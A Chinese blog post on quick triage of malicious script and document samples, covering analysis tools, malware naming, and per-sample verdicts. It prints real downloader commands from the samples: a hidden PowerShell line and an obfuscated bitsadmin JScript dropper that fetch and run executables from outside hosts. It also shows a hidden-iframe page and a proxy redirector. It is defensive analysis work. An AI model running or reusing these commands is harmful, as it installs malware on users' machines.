恶意程序快速分析—脚本类和文档类

恶意程序快速分析—脚本类和文档类

简介

本文主要内容包括分析工具及快速分析技巧,分析脚本类、文档类、PE类恶意程序。因为篇幅过长,PE类恶意程序放至第二篇文章分析。

一般来说,在不写分析报告以及不做高级查杀研究的情况下,病毒分析师并不需要对样本进行深入分析,只要判断样本黑白、进行归类并提取特征即可。

一.工具介绍

由于样本文件具有破坏性,因此在分析样本时最好在虚拟机中分析,如下是样本分析基础需要用到的工具。

工具

本次实验所需要的工具都放在了我的github仓库

虚拟机 — vmware下的win10虚拟机(为了便于将目标样本及分析软件复制到虚拟机中,最好安装Vmware Tools,安装方法请自行搜索)
文件管理工具 — Total Commander(下文简称TC)
文件查看与分析工具 — hiew

工具使用方法

Total Commander

TC是文件管理工具,可以对文件进行复制、删除及目录创建等工作。

image-20240321153656604

上面的是我仓库里的安装程序,下面的是安装好的TC,

需要先把Hiew导入TC,打开TC,全选默认的选项即可。然后导入hiew:

配置→选项→查看/编辑→使用外部查看程序导入hiew

image-20240321154038259

image-20240321154200041

更改使用外部查看器的命令为F3

image-20240321155441730

在如下主界面中,使用Tab键可以实现左右两个窗口的切换,最下面一栏有更详细的每个操作的说明。

image-20240321154449853

从桌面把样本拖入TC即可看到样本目录

image-20240321154608025

Hiew

hiew默认以文本形式打开,按回车键可以切换模式,识别样本需要切换到16进制模式。

在TC中选中样本,然后按F3即可使用hiew查看样本。

image-20240321155613214

按回车键可以切换模式(文本 16进制 汇编)

image-20240321155626880

二.恶意程序的快速识别

此处主要快速判断脚本类、文档类、PE类(DLL和EXE)恶意程序。

一般步骤为恶意程序识别及归类命名。

恶意程序的四段命名法:

恶意程序的类型 . 所运行的系统类型 . 恶意程序家族名称 . 变种号

其中,第一段是恶意程序的类型,比如如果是病毒,就是 Virus,如果是很宽泛意义上的木马,就是Trojan,如果是下载者木马,就是Trojan-Downloader,如果是漏洞利用程序,就是Exploit等等。第二段是所运行的系统类型,如果是 Windows的32位恶意程序,就是Win32,64位的就是Win64等等。第三段是恶意程序的家族名称,这个名字一般由病毒分析师来决定,可能恶意程序的作者也会在自己的病毒木马中给自己取个名字,但是这个名字一般不会被采用,或多或少都会在经过一定的修改后在使用。最后的变种号则是用于标识当前样本是这个家族的第几号样本,比如最先发现的就是a,之后的变种就是b,依此类推,一直到z。然后接下来就是aa、ab等等。比如对于这个恶意程序来说:

Trojan.Win32.Setiri.b

​ 它的意思是,这是一个木马程序(Trojan),运行在 Windows的32位平台(Win32),家族名称是Setiri,是这个家族中的第二个样本(b)。再比如这个程序:

not-a-virus:Adware.Win32.Agent.z

​ 这个程序的名称以not-a-virus作为开头,说明它并不是传统意义上的恶意程序,介于干净的程序和恶意程序之间的地带,这类程序主要分为广告程序、黑客工具等。

以上内容复制自看雪《文档类恶意程序的快速分析技巧》

1.脚本类恶意程序的快速分析

本次实验分析恶意程序放在了github 天问之路的week25-28

(1) 0cddd8c2084adb75689b5855a70cc4a8

image-20240321181218085

1
powershell.exe -noe -nol -nop -noni -w Hidden -ex Bypass -c (New-Object System.Net.WebClient).DownloadFile('http://188.120.250.154/7766.exe', '%Temp%\EUKYZG.pif');(New-Object -com Shell.Application).ShellExecute('%Temp%\EUKYZG.pif');   

该行命令大概就是以隐藏窗口形式启动powershell,然后从指定网址下载7766.exe文件修改名称并执行。下面是命令的各部分详细解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
powershell.exe: 这是启动 PowerShell 解释器的命令。

-noe -nol -nop -noni: 这些是用来启动 PowerShell 时的参数,它们的含义如下:
-noe: 不加载 PowerShell 的 profile(配置文件)。
-nol: 不加载 PowerShell 的位置脚本。
-nop: 不加载 PowerShell 的配置文件。
-noni: 不加载 PowerShell 的执行策略。

-w Hidden: 这个参数将 PowerShell 窗口设置为隐藏,不显示在屏幕上。
-ex Bypass: 这个参数指定了 PowerShell 脚本的执行策略为 Bypass,即绕过所有脚本执行策略限制。
-c: 这个参数表示后面跟着要执行的命令。

接下来是具体的要执行的命令:
(New-Object System.Net.WebClient).DownloadFile('http://188.120.250.154/7766.exe', '%Temp%\EUKYZG.pif'): 这段命令使用 .NET Framework 中的 WebClient 对象来从指定的 URL 下载名为 "7766.exe" 的文件,并将其保存到用户的临时目录下,并将其命名为 "EUKYZG.pif"。

(New-Object -com Shell.Application).ShellExecute('%Temp%\EUKYZG.pif'): 这段命令使用 COM 对象的 Shell.Application 接口来执行刚才下载的 "EUKYZG.pif" 文件。

总的来说,这段命令的作用是从远程服务器下载一个可执行文件并在用户的计算机上执行它。

正常程序一般是不会隐藏powershell执行下载并修改文件后缀执行的,因此可以初步判定为该程序为恶意程序。但是为了严谨起见,还应详细分析下载下来的程序7766.exe,确认是恶意文件后,应将该网站及下载下来的文件拉黑。

然后给恶意程序归类:采用的是四段命名法。第一段是这个恶意程序的类型,我们发现它是一个下载者程序,所以可以起名为Trojan-Downloader。第二段是这个程序的类型,它属于Powershell。第三段是这个程序的家族名称,这里起名为Agent即可。第四段是这个程序的编号,我习惯以字母进行排序表示,由于这是第一个样本,因此编号为a/1。于是,完整的名称是:Trojan-Downloader. Powershell. Agent.a。于是这个样本就分析并归类完成了。

(2) 44dcace0cfa9c0f6be1965841bc11410

image-20240321183955531

1
2
3
4
var lildz = new ActiveXObject("shell.application");  
var am = String.fromCharCode( 99,109,100,46,101)
var kk = " h^t^tp://www.sinakhat^ibi.c^om/121016.e^xe %appdata%\keos.exe &start %appdata%\keos.exe"
lildz.ShellExecute (am+"xe"," /c bitsadmin /tr^an^sfer my^job /do^wnload /prio^rity hi^gh"+kk, '', 'open',0);

首先由变量声明符号var就可以知道它是一个JavaScript脚本,接下来在第三行可以发现,这里出现了一个网址,但是奇怪的是,这个网址里面的http、com以及exe等几个字符都被尖角号给隔开了,包括第四行也有类似的情况,而这种写法在正常的程序里面是不可能出现的,所以就可以直接将这个程序判定为有问题的程序了。

下面是这段程序的详细解释

1
2
3
4
5
6
7
var lildz = new ActiveXObject("shell.application");:这行代码创建了一个 shell.application 对象,用于执行系统级操作。

var am = String.fromCharCode( 99,109,100,46,101):这行代码通过 ASCII 值将一串数字转换为字符,最终得到字符串 "cmd.e"。

var kk = " h^t^tp://www.sinakhat^ibi.c^om/121016.e^xe %appdata%\keos.exe &start %appdata%\keos.exe":这里定义了一个包含恶意网址和文件路径的字符串。

lildz.ShellExecute(am+"xe"," /c bitsadmin /trans myjob /download /priority high"+kk, '', 'open',0);:最终这行代码使用 ShellExecute 方法执行一些操作,其中包括打开 cmd.exe 并下载文件等操作。

根据命名原则,将其命名为Trojan-Downloader. JS. Agent.a。

如果想要提取传统的特征,那么可以在http、com或者exe的位置进行提取,因为正常的程序不可能将这些字符分开来写。

(3) 84f1fa3c698915b91257706d1e4e3f0e

image-20240321184551143

由echo off可知该程序是一段BAT批处理程序,但是后面全都特别乱,因此可以判定该程序是经过混淆的(这是恶意程序常用的混淆手段),正常程序是不可能这样写的,因此可以判定为恶意程序。可以将这个样本归类并命名为:Trojan.BAT.Agent.a。

如果要提特征的话,那么提在这些乱码的位置也就可以了,正常的程序里面是不会出现这些的。

(4) 9b2293323610ccb2af33f977cb21f45c

image-20240321184826846

原理同(3),归为恶意程序。

将其归类并命名为:Trojan.JS.Agent.a。

(5) b5b98837ede4701a98f1467ab53160fb

image-20240321184921133

1
2
3
4
5
function FindProxyForURL(url, host) {   
if (shExpMatch(host, "www.google.*")) return "PROXY 127.0.0.1:8080";
if (shExpMatch(host, "www.bing.com")) return "PROXY 127.0.0.1:8080";
return "DIRECT";
}

在访问以”www.google."开头的网址或者"[www.bing.com](http://www.bing.com/)"时,用户的请求会被重定向到代理服务器"127.0.0.1:8080",而不是直接连接到目标网站。如果代理服务器没有相应的服务运行,那么用户的访问将会失败,从而阻止了用户的正常访问。因此被判定为恶意程序。

将其归类并命名为:Trojan.JS.Redirector.a。

(6) bc70dba947cd5df9fd750353da3faed7

image-20240321185222392

直接拉黑,原理同上。

将其归类并命名为:Trojan.VBS.Agent.a。

(7) dbfcc7ffadee586e24f8247387b10d6e

image-20240321185253956

首先由var可知它是一个JavaScript文件,接下来由return后面的编码形式(ASCII码)以及后面的一些乱码可知,它也是一个有问题的程序。

特征提取在乱码的位置即可。

可以将其归类并命名为:Trojan.JS.Agent.b。

(8) dee2decebaf53fead3714cfa6e862378

image-20240321185420950

乱码多,原理同(7)。

可以将其归类并命名为:Trojan.JS.Agent.c。

小结

只要我们看到目标样本的代码写得非常晦涩难懂,那么它十有八九是恶意程序了。因为这是恶意程序经常使用的躲避杀软查杀的混淆方式。事实上,利用传统的特征码查杀的方式来对抗这类脚本木马的效果并不好,因此必须要使用诸如启发或者机器学习的方式来对抗这一批样本。

2.文档类恶意程序的快速分析

本次实验分析样本放在了github 天问之路的week33-34中

(1) 0ca5700d367fc48a3de7b32a4042aa9e

image-20240322150029056

1
2
3
4
5
6
7
8
9
10
HTA 应用程序在用户计算机上作为本地程序运行,具有更多的系统权限和能力,相较于普通的网页应用程序,它可以更接近传统的桌面应用程序的功能和外观。

当使用 hta:application 标签时,可以设置不同的属性来控制 HTML 应用程序的行为。在这个例子中,通过设置 windowstate 属性为 minimize,指定了应用程序在打开时以最小化状态展示窗口。

具体来说,windowstate 属性有以下几种可能的取值:
normal:默认值,表示应用程序以正常大小打开。
maximize:表示应用程序以最大化的形式打开。
minimize:表示应用程序以最小化的形式打开。

通过设置不同的 windowstate 值,开发者可以控制应用程序在启动时窗口的状态,从而提供更灵活的用户体验。在这种情况下,窗口将以最小化状态打开,用户可以通过最小化按钮或其他方式将其恢复到正常大小或最大化。

第一行代码比较清晰明了了,就是指定应用程序在打开时以最小化状态。后面部分大部分为乱码,可初步判断为恶意程序。提取特征在乱码部分提取。

为了进一步判断恶意程序的类别,可以将程序后缀改为hta,打开看一下。

image-20240322150556060

是Spora勒索程序,由于这个勒索程序家族很出名也很庞大,因此我们不妨就直接采用这个名字作为家族的名称,可将这个恶意程序归类为:Trojan-Ransom.HTA.Spora.a。

(2) 57651da2b0025c3fc4a12ef5c4a82603

image-20240322150916789

1
<html><body bgcolor="#FFFFFF"><iframe src="http://u7z.ru:8080/index.php" width=175 height=171 style="visibility: hidden></iframe></body></html>       
1
2
3
4
5
6
7
8
9
这段代码的详细解释如下:
- <html>: 这是 HTML 页面的根元素,表示文档的开始。
- <body bgcolor="#FFFFFF">: 这是 body 标签,用于包裹页面的主要内容。在这里,设置了页面的背景颜色为白色(#FFFFFF)。
- <iframe src="http://u7z.ru:8080/index.php" width=175 height=171 style="visibility: hidden">`: 这是一个 iframe 标签,用于嵌入另一个页面。具体属性解释如下:
- src="http://u7z.ru:8080/index.php": 指定了嵌入页面的来源,即"http://u7z.ru:8080/index.php"。
- width=175 height=171: 设置了 iframe 的宽度为 175 像素,高度为 171 像素。
- style="visibility: hidden": 设置了样式,将 iframe 设置为隐藏,即在页面中不可见。

这段代码的作用是在页面中嵌入来自"http://u7z.ru:8080/index.php"的网页,并将该嵌入页面的显示设置为隐藏状态,用户在浏览该页面时看不到该嵌入内容。

一般程序不会设置为隐藏状态,因此可以判定为是恶意程序。

一般来说,这种iframe类的程序,要么是采用visibility:hidden的方式达到隐藏访问的目的,要么是采用将窗口大小都设置为0的方式实现,即将width和height全都设置为0,那么也能够达到相同的目的。

将这个程序归类为:Trojan.HTML.iframe.a。

(3) 8d85bb0a33709ff595c9d56c376b8e65

image-20240322153713908

该段程序基本全是乱码,只能从开头发现一个PDF-1.4,那不妨将该文件改为pdf格式打开看一下

image-20240322154138192

打开后是一个链接,正常pdf一般是不会单独有一个链接的,因此可以猜测为引导性的钓鱼链接。

一般来说,这种网站以钓鱼类的居多。当然了,严谨起见是要仔细分析一下这个网站的,但其实分析至此,我们就基本可以判定这个PDF文件是恶意的了。可以将其归类为:Trojan.PDF.Phish.a。

(4) 8db7e7186ce697c6e86d67df8eca8268

image-20240322154436427

html格式,正常程序不会要求输入邮箱密码的。

image-20240322154606340

因此可以判定为恶意程序。

可以将该程序改为html后缀看一下:

image-20240322154746710

因此可以判定为该程序是一个模仿Excel的钓鱼程序。

可以将其归类为:Trojan.HTML.Phish.a。

(5) 96ff8557edf7660fcde786639fa46c74

image-20240322160056609

代码整理后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">

是一个用XML格式编写的文档,主要描述了交互式PDF表单的结构和属性配置,不是恶意程序。

(6) be9db1d1260eaa1387c900736282e1b

程序前面都是乱码,直接拉倒最下面发现Microsoft Office Word字样

image-20240322160207793

一般来说,Word文档类的恶意程序以内置宏代码的下载者文件居多,各个杀软厂家都会有自己的解密工具来将宏代码提取出来,第三方也有一些比较好用的工具来实现这样的功能。或者我们直接利用hiew也可以找到宏代码,但是比较麻烦,也不直观。但是我们这里并不需要对样本进行详细分析,而是快速判断,所以不妨将文件的后缀,也就是.doc加上,尝试运行一下。

打开后发现Office软件已经自动将宏禁用了,并且文件会诱导打开宏。

image-20240322160533818

可以知道,这是一个恶意文件。可以将其命名为:Trojan.MSWord.Agent.a。

(7)bf39b54e9592bd06cc3ce985508cd2ab

image-20240322160623911

同样是HTA文件,后面是Base64加密后的部分,处理方式同样本(1)将后缀改为hta打开文件。

image-20240322160839786

发现是一个未知的安装程序

image-20240322160906500

它其实就是我们最开始分析的那个样本的变种,因此可以将其命名为:Trojan-Ransom.HTA.Spora.b。

(8) ee4cd7bd35edfd706817b8cc79555783

image-20240322160959612

pdf类型,同样有乱码,分析方法同(3),将后缀改为pdf打开看一下:

202403221612207

是一个很模糊的界面,但是鼠标光标有点击的反应,点击会跳转到另一个界面,可以判定为是恶意程序。

很多时候,恶意程序的作者就是利用一些公司的后勤或者财务人员的薄弱的安全意识进行攻击的,诱惑这些人员只有点击了这个图片才可以获取到这个文档。所以我们可以将这个网址加入到杀毒软件的数据库,从而实现拉黑。

可以将这个文件命名为:Trojan.PDF.Phish.b。

小结

脚本类和文档类恶意程序的快速识别及归类命名至此就学习完成了,一般该类恶意程序有如下特征:

  • 乱码
  • 诱导性操作,如输入账号密码,点击链接等
  • 异于正常程序的写法

分析经验丰富之后,如果第一眼感觉该程序不像好东西,那大概率就是恶意程序了!

下一篇分析PE类恶意程序。

reference

看雪《恶意程序分析与高级对抗》

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2024 Rain's Blog
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信